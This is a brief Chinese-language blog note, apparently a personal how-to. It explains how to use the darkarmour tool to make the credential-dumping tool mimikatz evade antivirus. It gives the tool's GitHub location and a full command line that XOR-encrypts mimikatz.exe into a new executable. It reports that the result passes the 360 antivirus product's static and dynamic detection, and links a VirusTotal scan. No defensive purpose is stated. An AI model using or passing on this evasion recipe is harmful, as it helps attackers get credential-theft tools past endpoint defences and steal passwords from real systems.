使用darkarmour免殺mimikatz

• 2020 年 12 月 9 日
• 筆記

darkarmour是一個可用來免殺exe的項目，github地址：//github.com/bats3c/darkarmour
我們使用darkarmour來免殺mimikatz。
./darkarmour.py -f mimikatz.exe -j -l 5 -e xor -o darkmeter.exe

測試一下360靜態查殺和動態都過

上傳vt看看
//www.virustotal.com/gui/file/26ab89974fd1a85f1af66cfc2d275893b9a2004616b05a56402f277bcbdd32a9